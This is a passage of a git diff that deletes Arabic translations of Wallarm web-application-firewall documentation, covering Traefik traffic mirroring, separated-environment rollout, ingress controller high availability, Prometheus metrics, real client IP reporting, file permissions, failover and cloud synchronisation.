وتوجيهها إلى عقدة Wallarm](overview.md). - -## الخطوة 1: تكوين Traefik لعكس حركة المرور - -يعتمد مثال التكوين التالي على نهج ملف التكوين [`الديناميكي`](https://doc.traefik.io/traefik/reference/dynamic-configuration/file/). يدعم خادم الويب Traefik أيضاً أوضاع تكوين أخرى، ويمكنك تعديل التكوين المقدم بسهولة لأي منها حيث أن لديهم بنية مماثلة. - -```yaml -### ملف التكوين الديناميكي -### ملاحظة: نقاط الدخول موصوفة في ملف التكوين الثابت -http: - services: - ### كيفية تعيين خدمات original وwallarm. - ### في تكوين `الموجهين` اللاحق (انظر أدناه)، يرجى - ### استخدام اسم هذه الخدمة (`with_mirroring`). - ### - with_mirroring: - mirroring: - service: "httpbin" - mirrors: - - name: "wallarm" - percent: 100 - - ### الخدمة لعكس حركة المرور إليها - نقطة النهاية - ### التي يجب أن تتلقى الطلبات المعكوسة (المنسوخة) - ### من الخدمة الأصلية. - ### - wallarm: - loadBalancer: - servers: - - url: "http://wallarm:8445" - - ### الخدمة الأصلية. يجب على هذه الخدمة تلقي - ### حركة المرور الأصلية. - ### - httpbin: - loadBalancer: - servers: - - url: "http://httpbin:80/" - - routers: - ### يجب أن يكون اسم الموجه هو نفسه اسم الخدمة - ### لكي تعمل عكس حركة المرور (with_mirroring). - ### - with_mirroring: - entryPoints: - - "web" - rule: "Host(`mirrored.example.com`)" - service: "with_mirroring" - - ### الموجه لحركة المرور الأصلية. - ### - just_to_original: - entryPoints: - - "web" - rule: "Host(`original.example.local`)" - service: "httpbin" -``` - -[راجع توثيق Traefik](https://doc.traefik.io/traefik/routing/services/#mirroring-service) - -## الخطوة 2: تكوين عقدة Wallarm لتصفية حركة المرور المعكوسة - ---8<-- "../include/wallarm-node-configuration-for-mirrored-traffic.md" \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments.md b/docs/latest-ar/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments.md deleted file mode 100644 index b328e4b2f8..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments.md +++ /dev/null @@ -1,47 +0,0 @@ -# توصيات بشأن تكوين عقد التصفية للبيئات المنفصلة - -لقد تعلمت بالفعل [كيف تعمل عقد التصفية في Wallarm في البيئات المنفصلة](how-wallarm-in-separated-environments-works.md). لكي تعمل العقد كما وصف، تعلم التوصيات على تكوين العقد في البيئات المنفصلة من هذا المقال. - -## عملية إطلاق الحماية الأولية لـ Wallarm - -إذا كنت تقوم بتنفيذ الإطلاق الأولي لحماية Wallarm للبيئات، يُنصح باستخدام النهج التالي (مع إمكانية تعديله حسب الحاجة): - -1. تعرف على خيارات نشر عقد Wallarm المتاحة [هنا](../../../installation/supported-deployment-options.md). -2. إذا لزم الأمر، تعرف على الخيارات المتاحة لإدارة تكوين عقد التصفية لبيئاتك بشكل منفصل. يمكنك العثور على هذه المعلومات [هنا](how-wallarm-in-separated-environments-works.md#relevant-wallarm-features). -3. نشر عقد التصفية Wallarm في بيئاتك غير الإنتاجية مع ضبط وضع الفلترة على `monitoring`. -4. تعرف على كيفية التشغيل والتوسع والمراقبة لحل Wallarm؛ تأكد من استقرار المكون الشبكي الجديد. -5. نشر عقد التصفية Wallarm في بيئة الإنتاج مع ضبط وضع الفلترة على `monitoring`. -6. تنفيذ إدارة التكوين وعمليات المراقبة الصحيحة لمكون Wallarm الجديد. -7. احتفظ بمرور الحركة عبر عقد التصفية في جميع بيئاتك، بما في ذلك الاختبار والإنتاج، لمدة 7-14 يومًا لإعطاء نظام Wallarm السحابي بعض الوقت للتعلم عن تطبيقك. -8. فعّل وضع الفلترة `blocking` في جميع بيئاتك غير الإنتاجية واستخدم اختبارات آلية أو يدوية للتأكد من أن التطبيق المحمي يعمل كما هو متوقع. -9. فعّل وضع الفلترة `blocking` في بيئة الإنتاج. باستخدام الطرق المتاحة، تأكد من أن التطبيق يعمل كما هو متوقع. - -!!! info - لضبط وضع الفلترة، يرجى استخدام هذه [التعليمات](../../configure-wallarm-mode.md). - -## طرح تدريجي لتغييرات عقدة Wallarm الجديدة - -من وقت لآخر، قد تكون هناك حاجة إلى تغييرات في بنية Wallarm القائمة لديك. حسب سياسة إدارة التغيير في منظمتك، قد يتطلب منك اختبار جميع التغييرات المحتملة المحفوفة بالمخاطر في بيئة غير إنتاجية، ثم تطبيق التغييرات في بيئة الإنتاج. - -يُنصح بالنهج التالية لاختبار وتغيير تكوين مكونات وميزات Wallarm المختلفة بشكل تدريجي: -* [التكوين المنخفض المستوى لعقد التصفية Wallarm بكل أشكالها](#low-level-onfiguration-of-wallarm-filtering-nodes-in-all-form-factors) -* [تكوين قواعد عقدة Wallarm](#configuration-of-wallarm-node-rules) - -### التكوين المنخفض المستوى لعقد التصفية Wallarm بكل أشكالها - -يتم التكوين المنخفض المستوى لعقد التصفية عبر متغيرات بيئة Docker، ملف التكوين NGINX المقدم، معاملات تحكم Kubernetes Ingress، إلخ. طريقة التكوين تعتمد على [خيار النشر](../../../installation/supported-deployment-options.md). - -يمكن إدارة التكوين المنخفض المستوى بشكل منفصل لبيئات العملاء المختلفة باستخدام عمليات إدارة التغيير الحالية لموارد البنية التحتية. - -### تكوين قواعد عقدة Wallarm - -نظرًا لأن كل سجل قاعدة يمكن أن يُربط بـ[مجموعة مختلفة](how-wallarm-in-separated-environments-works.md#resource-identification) من معرّفات مثيلات التطبيق أو رؤوس طلب `HOST`، يُوصى بالخيارات التالية: - -* أولًا، طبق تكوينًا جديدًا على بيئة اختبار أو تطوير، تحقق من وظائفه، ثم طبق التغيير على بيئة الإنتاج. -* استخدم قاعدة `إنشاء مؤشر هجوم مستند إلى regexp` في وضع `Experimental`. يسمح هذا الوضع بنشر القاعدة مباشرة في بيئة الإنتاج دون خطر حظر طلبات المستخدمين الصحيحة عن طريق الخطأ. - - ![إنشاء قاعدة تجريبية](../../../images/admin-guides/configuration-guides/waf-in-separate-environments/define-attack-experimental.png) - -* استخدم قاعدة `ضبط وضع الفلترة` للتحكم في وضع فلترة Wallarm لبيئات وطلبات محددة. توفر هذه القاعدة مرونة إضافية في كيفية طرح حماية Wallarm بشكل تدريجي لحماية نقاط نهائية جديدة وموارد أخرى في بيئات مختلفة. بشكل افتراضي، يُستخدم قيمة [`wallarm_mode`](../../configure-parameters-en.md#wallarm_mode) اعتمادًا على إعداد [`wallarm_mode_allow_override`](../../configure-parameters-en.md#wallarm_mode_allow_override). - - ![إنشاء قاعدة لتجاوز وضع الفلترة](../../../images/admin-guides/configuration-guides/waf-in-separate-environments/rule-overwrite-filtering-mode.png) \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works.md b/docs/latest-ar/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works.md deleted file mode 100644 index 839bc0b264..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works.md +++ /dev/null @@ -1,61 +0,0 @@ -# كيف يعمل عقدة التصفية في البيئات المنفصلة - -قد يتم نشر التطبيق إلى عدة بيئات مختلفة: الإنتاج، والتجريب، والاختبار، والتطوير، إلخ. توفر هذه التعليمات معلومات حول الطرق المقترحة لإدارة عقدة التصفية للبيئات المختلفة. - -## ما هي البيئة -قد يختلف تعريف البيئة من شركة إلى أخرى، ولأغراض هذه التعليمات، يُستخدم التعريف أدناه. - -**البيئة** هي مجموعة منفصلة أو جزء منفصل من الموارد الحوسبية التي تخدم أغراض مختلفة (مثل الإنتاج، والتجريب، والاختبار، والتطوير، إلخ) وتُدار باستخدام نفس مجموعة السياسات أو مجموعة مختلفة منها (من حيث إعدادات الشبكة/البرامج، وإصدارات البرامج، والمراقبة، وإدارة التغيير، إلخ) من قِبل نفس الفرق أو فرق مختلفة (SRE، وQA، والتطوير، إلخ) لشركة ما. - -من وجهة نظر أفضل الممارسات، يُنصح بالحفاظ على تزامن تكوينات عقد Wallarm عبر جميع البيئات المستخدمة في منتج واحد عمودي (مراحل التطوير، والاختبار، والتجريب، والإنتاج). - -## ميزات Wallarm ذات الصلة - -هناك ثلاث ميزات رئيسية تتيح لك إدارة تكوينات عقدة التصفية المختلفة للبيئات المختلفة وتنفيذ طرح تدريجي لتغييرات عقدة التصفية: - -* [تحديد الهوية للموارد](#resource-identification) -* [حسابات Wallarm المنفصلة والحسابات الفرعية](#separate-wallarm-accounts-and-sub-accounts) -* [وضع تشغيل عقدة التصفية](../../configure-wallarm-mode.md) - -### تحديد الهوية للموارد - -هناك طريقتان لتكوين عقدة التصفية لبيئة معينة باستخدام تحديد الهوية: - -* مُعرفات Wallarm الفريدة لكل بيئة، -* أسماء نطاقات URL المختلفة للبيئات (إذا كان ذلك مُعداً بالفعل في بنيتك التحتية). - -#### تحديد الهوية للبيئة بالمُعرف - -يسمح مفهوم التطبيقات بتعيين مُعرفات مختلفة للبيئات المحمية المختلفة، وإدارة قواعد عقدة التصفية على حدة لكل بيئة. - -عند تكوين عقدة التصفية، يمكنك إضافة مُعرفات Wallarm لبيئاتك باستخدام مفهوم التطبيقات. لضبط المُعرفات: - -1. أضف أسماء البيئات ومُعرفاتها في حساب Wallarm الخاص بك → **الإعدادات** → قسم **التطبيقات**. - - ![إضافة البيئات](../../../images/admin-guides/configuration-guides/waf-in-separate-environments/added-applications.png) -2. حدد تكوين المُعرف في عقدة التصفية: - - * باستخدام التوجيه [`wallarm_application`](../../configure-parameters-en.md#wallarm_application) لنشرات Linux وKubernetes sidecar و Docker؛ - * باستخدام التعليق التوضيحي [`nginx.ingress.kubernetes.io/wallarm-application`](../../configure-kubernetes-en.md#ingress-annotations) لنشرات تحكم دخول Kubernetes NGINX. الآن، عند إنشاء قاعدة عقدة تصفية جديدة، يصبح من الممكن تحديد أن القاعدة ستُعين لمجموعة معينة من مُعرفات التطبيق. بدون السمة، ستُطبق قاعدة جديدة تلقائيًا على جميع الموارد المحمية في حساب Wallarm. - -![إنشاء قاعدة للمُعرف](../../../images/admin-guides/configuration-guides/waf-in-separate-environments/create-rule-for-id.png) - -#### تحديد الهوية للبيئة بالنطاق - -إذا كانت كل بيئة تستخدم أسماء نطاقات URL مختلفة تمرر في رأس طلب HTTP `HOST`، فمن الممكن استخدام أسماء النطاقات كمُعرفات فريدة لكل بيئة. - -لاستخدام الميزة، يُرجى إضافة إشارة رأس `HOST` المناسبة لكل قاعدة عقدة تصفية مُعدة. في المثال التالي، ستُطلق القاعدة فقط للطلبات التي يكون رأس `HOST` فيها مساوٍ لـ `dev.domain.com`: - -![إنشاء قاعدة لـ HOST](../../../images/admin-guides/configuration-guides/waf-in-separate-environments/create-rule-for-host.png) - -### حسابات Wallarm المنفصلة والحسابات الفرعية - -إحدى الخيارات السهلة لعزل تكوين عقدة التصفية للبيئات المختلفة هي استخدام حسابات Wallarm منفصلة لكل بيئة أو مجموعة من البيئات. توصي العديد من موفري خدمات السحابة بهذه الأفضلية، بما في ذلك Amazon AWS. - -لتبسيط إدارة عدة حسابات Wallarm، من الممكن إنشاء حساب Wallarm `رئيسي` منطقي وتعيين حسابات Wallarm الأخرى المستخدمة كحسابات فرعية للحساب `الرئيسي`. بهذه الطريقة، يمكن استخدام مجموعة واحدة من واجهة المستخدم الخاصة بوحدة التحكم وبيانات اعتماد API لإدارة كل حسابات Wallarm التابعة لمنظمتك. - -لتفعيل حساب `رئيسي` وحسابات فرعية، يُرجى الاتصال بفريق [الدعم الفني لـ Wallarm](mailto:support@wallarm.com). تتطلب الميزة ترخيصًا منفصلاً لـ Wallarm للمؤسسات. - -!!! تحذير "القيود المعروفة" - * ستتلقى جميع عقد التصفية المتصلة بنفس حساب Wallarm نفس مجموعة قواعد تصفية الحركة. لا يزال بإمكانك تطبيق قواعد مختلفة لتطبيقات مختلفة باستخدام [مُعرفات التطبيق أو رؤوس طلب HTTP فريدة](#resource-identification) المناسبة. - * إذا قررت عقدة التصفية حظر عنوان IP تلقائيًا (على سبيل المثال، بسبب ثلاثة أو أكثر من نواقل الهجوم المكتشفة من عنوان IP)، سيتم حظر النظام لعنوان IP لجميع التطبيقات في حساب Wallarm. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md b/docs/latest-ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md deleted file mode 100644 index 6cb2687ea7..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md +++ /dev/null @@ -1,61 +0,0 @@ -# اعتبارات توفر عالي (وحدة تحكم الدخول المبنية على NGINX) - -توفر هذه المقالة توصيات لتكوين وحدة تحكم الدخول الخاصة بـ Wallarm لكي تكون ذات توفر عالٍ ومحمية من أوقات التوقف. - ---8<-- "../include/ingress-controller-best-practices-intro.md" - -## توصيات التكوين - -التوصيات التالية ذات صلة بالبيئات الحرجة (الإنتاجية). - -* استخدم أكثر من نموذج لوحدات حاويات وحدة التحكم في الدخول. يتم التحكم في السلوك باستخدام الخاصية `controller.replicaCount` في ملف `values.yaml`. على سبيل المثال: - ``` - controller: - replicaCount: 2 - ``` -* اجبر تجمع Kubernetes على وضع وحدات حاويات وحدة التحكم في الدخول على عقد مختلفة: هذا سيزيد من مرونة خدمة الدخول في حال حدوث فشل في أحد العقد. يتم التحكم في هذا السلوك باستخدام ميزة مكافحة التماثل لوحدات حاويات Kubernetes، والتي يتم تكوينها في ملف `values.yaml`. على سبيل المثال: - ``` - controller: - affinity: - podAntiAffinity: - requiredDuringSchedulingIgnoredDuringExecution: - - labelSelector: - matchExpressions: - - key: app - operator: In - values: - - nginx-ingress - topologyKey: "kubernetes.io/hostname" - ``` -* في التجمعات الخاضعة لزيادات مفاجئة في الحركة أو ظروف أخرى قد تبرر استخدام ميزة [توسيع الحاويات الأفقي (HPA) في Kubernetes](https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/)، يمكن تفعيلها في ملف `values.yaml` باستخدام المثال التالي: - ``` - controller: - autoscaling: - enabled: true - minReplicas: 1 - maxReplicas: 11 - targetCPUUtilizationPercentage: 50 - targetMemoryUtilizationPercentage: 50 - ``` -* تشغيل ما لا يقل عن نموذجين من خدمة postanalytics الخاصة بـ Wallarm، المبنية على قاعدة بيانات Tarantool. تتضمن هذه الحاويات `ingress-controller-wallarm-tarantool` في الاسم. يتم التحكم في السلوك في ملف `values.yaml` باستخدام الخاصية `controller.wallarm.tarantool.replicaCount`. على سبيل المثال: - ``` - controller: - wallarm: - tarantool: - replicaCount: 2 - ``` - -## إجراء التكوين - -لتعيين التكوينات المذكورة، يُنصح باستخدام خيار `--set` من أوامر `helm install` و `helm upgrade`، على سبيل المثال: - -=== "تثبيت وحدة التحكم في الدخول" - ```bash - helm install --set controller.replicaCount=2 wallarm/wallarm-ingress -n - ``` - - هناك أيضًا [معايير أخرى](../../../configure-kubernetes-en.md#additional-settings-for-helm-chart) مطلوبة لتثبيت وحدة التحكم في الدخول بشكل صحيح. الرجاء تمريرها أيضًا في خيار `--set`. -=== "تحديث معايير وحدة التحكم في الدخول" - ```bash - helm upgrade --reuse-values --set controller.replicaCount=2 wallarm/wallarm-ingress -n - ``` \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md b/docs/latest-ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md deleted file mode 100644 index a7c1f99a77..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md +++ /dev/null @@ -1,99 +0,0 @@ -# مراقبة وحدة التحكم في الدخول المبنية على NGINX - ---8<-- "../include/ingress-controller-best-practices-intro.md" - -تمت تغطية الجوانب العامة لمراقبة وحدة التحكم في الدخول NGINX بشكل جيد على الإنترنت. توفر Wallarm مجموعة إضافية من المقاييس التي يجب مراقبتها في بيئة حرجة. خدمة المقاييس `/wallarm-metrics` معطلة بشكل افتراضي. - -لتمكين الخدمة، ضع `controller.wallarm.metrics.enabled` على `true`: - -``` -controller: - wallarm: - metrics: - enabled: true -``` - -فيما يلي قائمة بالمقاييس الخاصة بـWallarm بتنسيق Prometheus والمتاحة عبر نقطة النهاية المعرضة حديثًا: - -``` -# HELP wallarm_requests عدد الطلبات -# TYPE wallarm_requests gauge -wallarm_requests 2 -# HELP wallarm_attacks عدد طلبات الهجوم -# TYPE wallarm_attacks gauge -wallarm_attacks 0 -# HELP wallarm_blocked عدد الطلبات المحظورة -# TYPE wallarm_blocked gauge -wallarm_blocked 0 -# HELP wallarm_blocked_by_acl عدد الطلبات المحظورة بواسطة acl -# TYPE wallarm_blocked_by_acl gauge -wallarm_blocked_by_acl 0 -# HELP wallarm_acl_allow_list طلبات مرت من خلال قائمة السماح -# TYPE wallarm_acl_allow_list gauge -wallarm_acl_allow_list 0 -# HELP wallarm_abnormal عدد الطلبات غير الطبيعية -# TYPE wallarm_abnormal gauge -wallarm_abnormal 2 -# HELP wallarm_tnt_errors عدد أخطاء الكتابة في tarantool -# TYPE wallarm_tnt_errors gauge -wallarm_tnt_errors 0 -# HELP wallarm_api_errors عدد أخطاء الكتابة في الAPI -# TYPE wallarm_api_errors gauge -wallarm_api_errors 0 -# HELP wallarm_requests_lost عدد الطلبات المفقودة -# TYPE wallarm_requests_lost gauge -wallarm_requests_lost 0 -# HELP wallarm_overlimits_time عدد مرات تجاوز الحد -# TYPE wallarm_overlimits_time gauge -wallarm_overlimits_time 0 -# HELP wallarm_segfaults عدد أخطاء تجزئة الذاكرة -# TYPE wallarm_segfaults gauge -wallarm_segfaults 0 -# HELP wallarm_memfaults عدد الأحداث التي تم الوصول فيها لحد الذاكرة الافتراضي -# TYPE wallarm_memfaults gauge -wallarm_memfaults 0 -# HELP wallarm_softmemfaults عدد الأحداث التي تم الوصول فيها لحد ذاكرة الطلب -# TYPE wallarm_softmemfaults gauge -wallarm_softmemfaults 0 -# HELP wallarm_proton_errors عدد أحداث أخطاء libproton غير المتعلقة بالذاكرة -# TYPE wallarm_proton_errors gauge -wallarm_proton_errors 0 -# HELP wallarm_time_detect_seconds الوقت المستغرق للكشف -# TYPE wallarm_time_detect_seconds gauge -wallarm_time_detect_seconds 0 -# HELP wallarm_db_id معرّف ملف proton.db -# TYPE wallarm_db_id gauge -wallarm_db_id 71 -# HELP wallarm_lom_id معرّف ملف LOM -# TYPE wallarm_lom_id gauge -wallarm_lom_id 386 -# HELP wallarm_custom_ruleset_id معرّف ملف مجموعة القواعد المخصصة -# TYPE wallarm_custom_ruleset_id gauge -wallarm_custom_ruleset_id{format="51"} 386 -# HELP wallarm_custom_ruleset_ver إصدار تنسيق ملف مجموعة القواعد المخصصة -# TYPE wallarm_custom_ruleset_ver gauge -wallarm_custom_ruleset_ver 51 -# HELP wallarm_db_apply_time وقت تطبيق ملف proton.db -# TYPE wallarm_db_apply_time gauge -wallarm_db_apply_time 1674548649 -# HELP wallarm_lom_apply_time وقت تطبيق ملف LOM -# TYPE wallarm_lom_apply_time gauge -wallarm_lom_apply_time 1674153198 -# HELP wallarm_custom_ruleset_apply_time وقت تطبيق ملف مجموعة القواعد المخصصة -# TYPE wallarm_custom_ruleset_apply_time gauge -wallarm_custom_ruleset_apply_time 1674153198 -# HELP wallarm_proton_instances عدد مثيلات بروتون -# TYPE wallarm_proton_instances gauge -wallarm_proton_instances{status="success"} 5 -wallarm_proton_instances{status="fallback"} 0 -wallarm_proton_instances{status="failed"} 0 -# HELP wallarm_stalled_worker_time_seconds الوقت الذي توقف فيه العامل في libproton -# TYPE wallarm_stalled_worker_time_seconds gauge -wallarm_stalled_worker_time_seconds{pid="3169104"} 25 - -# HELP wallarm_startid معرّف بدء فريد -# TYPE wallarm_startid gauge -wallarm_startid 3226376659815907920 -``` - -توفر هذه [الوثيقة](../../../configure-statistics-service.md) معلومات مفصلة حول إعداد المراقبة وقائمة المقاييس المتاحة. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md b/docs/latest-ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md deleted file mode 100644 index 3396bc853c..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md +++ /dev/null @@ -1,35 +0,0 @@ -# التقرير الصحيح لعنوان IP العام للمستخدم النهائي (متحكم الدخول المبني على NGINX) - -توضح هذه التعليمات التكوين المطلوب لمتحكم الدخول الخاص بـWallarm لتحديد عنوان IP الأصلي للعميل (المستخدم النهائي) عندما يتم وضع المتحكم خلف جهاز توازن الحمل. - -افتراضيًا، يعتبر متحكم الدخول أنه معرض مباشرةً للإنترنتوأن عناوين IP للعملاء المتصلين هي عناوينهم الفعلية. ومع ذلك، يمكن تمرير الطلبات عبر جهاز توازن الحمل (مثل AWS ELB أو Google Network Load Balancer) قبل إرسالها إلى متحكم الدخول. - -في الحالات التي يتم فيها وضع المتحكم خلف جهاز توازن الحمل، يعتبر متحكم الدخول أن IP جهاز توازن الحمل هو عنوان IP الحقيقي للمستخدم النهائي، ما يمكن أن يؤدي إلى [عملية غير صحيحة لبعض ميزات Wallarm](../../../using-proxy-or-balancer-en.md#possible-problems-of-using-a-proxy-server-or-load-balancer-ip-address-as-a-request-source-address). للإبلاغ عن عناوين IP الصحيحة للمستخدمين النهائيين إلى متحكم الدخول، يُرجى تكوين المتحكم كما هو موضح أدناه. - -## الخطوة الأولى: تمكين مرور عنوان IP الحقيقي للعميل على طبقة الشبكة - -تعتمد هذه الميزة بشكل كبير على منصة السحابة المستخدمة؛ في معظم الحالات، يمكن تفعيلها بتعيين خاصية `values.yaml` `controller.service.externalTrafficPolicy` إلى القيمة `Local`: - -``` -controller: - service: - externalTrafficPolicy: "Local" -``` - -## الخطوة الثانية: تمكين متحكم الدخول من أخذ القيمة من رأس طلب HTTP `X-FORWARDED-FOR` - -عادةً، يضيف أجهزة توازن الحمل رأس HTTP [`X-Forwarded-For`](https://en.wikipedia.org/wiki/X-Forwarded-For) الذي يحتوي على عنوان IP الأصلي للعميل. يمكنك العثور على اسم الرأس الدقيق في وثائق جهاز توازن الحمل. - -يمكن لمتحكم الدخول الخاص بـWallarm أخذ عنوان IP الحقيقي للمستخدم النهائي من هذا الرأس إذا تم تكوين `values.yaml` للمتحكم كما يلي: - -``` -controller: - config: - enable-real-ip: "true" - forwarded-for-header: "X-Forwarded-For" -``` - -* [الوثائق الخاصة بمعلمة `enable-real-ip`](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#enable-real-ip) -* في معلمة [`forwarded-for-header`](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#forwarded-for-header)، يُرجى تحديد اسم رأس جهاز توازن الحمل الذي يحتوي على عنوان IP الأصلي للعميل - ---8<-- "../include/ingress-controller-best-practices-intro.md" \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configure-access-to-files-needed-for-node.md b/docs/latest-ar/admin-en/configure-access-to-files-needed-for-node.md deleted file mode 100644 index 8d22ce6f7e..0000000000 --- a/docs/latest-ar/admin-en/configure-access-to-files-needed-for-node.md +++ /dev/null @@ -1,51 +0,0 @@ -# تكوين حقوق الوصول إلى الملفات اللازمة لتشغيل العقدة - -عادةً ما يتم منح خدمات `wallarm-worker` و `nginx` إذنًا تلقائيًا لقراءة محتوى الملفات اللازمة لتشغيل عقدة الفلترة، مثل proton.db وملف مجموعة القواعد المخصصة. ومع ذلك، إذا أظهرت الاختبارات عدم وجود وصول، اقرأ الوصف أدناه حول كيفية توفير الأذونات وكيف يمكن تكوينها يدويًا. - -## تكوين الوصول إلى الملف - -يمكن تعيين معلمات تشغيل العقدة بشكل صريح في `node.yaml`، والذي يتم توليده تلقائيًا بواسطة السكربت `register-node`. - -* بالنسبة لتثبيتات صورة NGINX المبنية على Docker، والصور السحابية وتثبيتات المثبت الشامل، ابحث عن الملف في `/opt/wallarm/etc/wallarm/node.yaml`، إلا إذا تم تجاوزه بواسطة موجهة [`wallarm_api_conf`](configure-parameters-en.md#wallarm_api_conf). -* بالنسبة للتثبيتات الأخرى، يقع في `/etc/wallarm/node.yaml`، إلا إذا تم تجاوزه بواسطة موجهة [`wallarm_api_conf`](configure-parameters-en.md#wallarm_api_conf). - -قد يحتوي ملف `node.yaml` على معلمات وصول الملف التالية: - -| المعلمة | الوصف | -|--------------|-------------| -| `syncnode.owner` | المالك للملفات اللازمة لتشغيل عقدة الفلترة. | -| `syncnode.group` | المجموعة للملفات اللازمة لتشغيل عقدة الفلترة. | -| `syncnode.mode` | حقوق الوصول إلى الملفات اللازمة لتشغيل عقدة الفلترة. | - -يبحث خوارزمية عن إذونات الملف بأداء الخطوات التالية (ينتقل إلى الخطوة التالية فقط إذا لم تعط الخطوة السابقة النتيجة): - -1. تعيين معلمات `syncnode.(TYPE).(user,group,mode)` بشكل صريح في ملف `node.yaml`. - - `(TYPE)` يتيح لك تحديد الملف المعين الذي تم تعيين المعلمة له. القيم الممكنة هي `proton.db` أو `lom`. - - !!! تحذير "معنى قيمة `lom`" - لاحظ أن قيمة `lom` تشير إلى ملف [مجموعة القواعد المخصصة](../user-guides/rules/rules.md#ruleset-lifecycle) `/etc/wallarm/custom_ruleset` (`/opt/wallarm/etc/wallarm/custom_ruleset` بالنسبة لتثبيتات صورة NGINX المبنية على Docker أو تثبيتات المثبت الشامل). - -1. تعيين معلمات `syncnode.(user,group,mode)` بشكل صريح في ملف `node.yaml`. -1. بالنسبة للتثبيت المعتمد على NGINX، قيمة `nginx_group` في ملف `/usr/share/wallarm-common/engine/*`. - - كل الحزم المثبتة للمحرك توفر ملف `/usr/share/wallarm-common/engine/*` الذي يحتوي على `nginx_group=`. - - كل حزمة بالموديول تعيين قيمة لمعلمة `group` اعتمادًا على NGINX الذي تم تخصيصها من أجله: - - * الموديولات لـ NGINX من nginx.org تعيين `group` إلى `nginx`. - * الموديولات لتوزيعات NGINX تعيين `group` إلى `www-data`. - * الموديولات المخصصة تستخدم القيم التي يوفرها العميل. - -1. الإعدادات الافتراضية: - * `owner`: `root` - * `group`: `wallarm` - * `mode`: `0640` - -لاحظ أنك فقط تحتاج إلى تكوين حقوق الوصول بشكل صريح إذا كانت النتيجة التي يتم تحقيقها تلقائيًا بواسطة الخوارزمية لا تلبي احتياجاتك. بعد تكوين حقوق الوصول، تأكد من أن خدمات `wallarm-worker` و `nginx` يمكنها قراءة محتوى الملفات اللازمة لتشغيل عقدة الفلترة. - -## مثال على التكوين - -لاحظ أنه بالإضافة إلى معلمات وصول الملف (قسم `syncnode`، الوارد في هذا المقال)، سيحتوي ملف `node.yaml` أيضًا على معلمات توفر لعقدة الفلترة [الوصول إلى السحابة](configure-cloud-node-synchronization-en.md) (الأقسام العامة و `api`). - ---8<-- "../include/node-cloud-sync-configuration-example.md" \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configure-backup-en.md b/docs/latest-ar/admin-en/configure-backup-en.md deleted file mode 100644 index 564e6d0611..0000000000 --- a/docs/latest-ar/admin-en/configure-backup-en.md +++ /dev/null @@ -1,28 +0,0 @@ -# تكوين طريقة الفشل الاحتياطي - -يتطلب نشر عقدة تصفية بصفتها [وكيل عكسي](../glossary-en.md#reverse-proxy) التأكد من أن عقدة التصفية متاحة بشكل كبير. فشل عقدة التصفية، على سبيل المثال بسبب انقطاع التيار الكهربائي، يحد من تشغيل تطبيق الويب. لضمان توفر Wallarm بدرجة عالية، يُنصح باستخدام إحدى طرق الفشل الاحتياطي الموصوفة في هذا القسم. - -تقدم طريقة الفشل الاحتياطي عقد إضافية يتم توجيه حركة المرور إليها تلقائيًا إذا فشلت عقدة التصفية الرئيسية. - -## الفشل الاحتياطي لمركز البيانات - -إذا كان تطبيق الويب وعقد التصفية موجودين في مركز بيانات، استخدم خدمة "IP الفشل الاحتياطي" لمركز البيانات - -## VRRP أو CARP - -على كل عقدة تصفية، قم بتشغيل خادم `keepalived` أو `ucarp` الذي يراقب توفر العقد ويبدأ توجيه حركة المرور إذا تعطلت العقد. هذه طريقة موثوقية عالية قياسية يمكن استخدامها أيضًا لتوازن حمل حركة المرور من خلال بدء IP الفشل الاحتياطي على كل عقدة وتوزيع حركة المرور مع التوازن DNS. - -!!! معلومة "العمل مع NGINX Plus" - يمكن إعداد Wallarm للعمل على [NGINX Plus](https://www.nginx.com/products/nginx/) مع مغلف VRRP مخصص. - - معظم توزيعات Linux، بما في ذلك CentOS وDebian، لديها حزم مخصصة يمكن أن تثبت هذا الإنشاء. - - لمعرفة المزيد عن تثبيت Wallarm مع NGINX Plus، راجع التعليمات التفصيلية في صفحة [«التثبيت مع NGINX Plus»](../installation/nginx-plus.md). - -## موازن التحميل الأجهزة L3 أو L4 - -موازن تحميل الطبقة 3 أو الطبقة 4 هو حل جيد للمتانة العالية. - -## توازن تحميل DNS - -حدد عناوين IP متعددة في إعدادات DNS. بينما يستهدف هذا الأسلوب توازن التحميل، قد تجده مفيدًا أيضًا كطريقة للمتانة العالية. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configure-cloud-node-synchronization-en.md b/docs/latest-ar/admin-en/configure-cloud-node-synchronization-en.md deleted file mode 100644 index 5002e51409..0000000000 --- a/docs/latest-ar/admin-en/configure-cloud-node-synchronization-en.md +++ /dev/null @@ -1,60 +0,0 @@ -# تكوين التزامن بين عقدة Wallarm والسحابة - -تتزامن عقدة الفلترة بانتظام مع سحابة Wallarm لـ: - -* الحصول على تحديثات لـ[قواعد معالجة الحركة 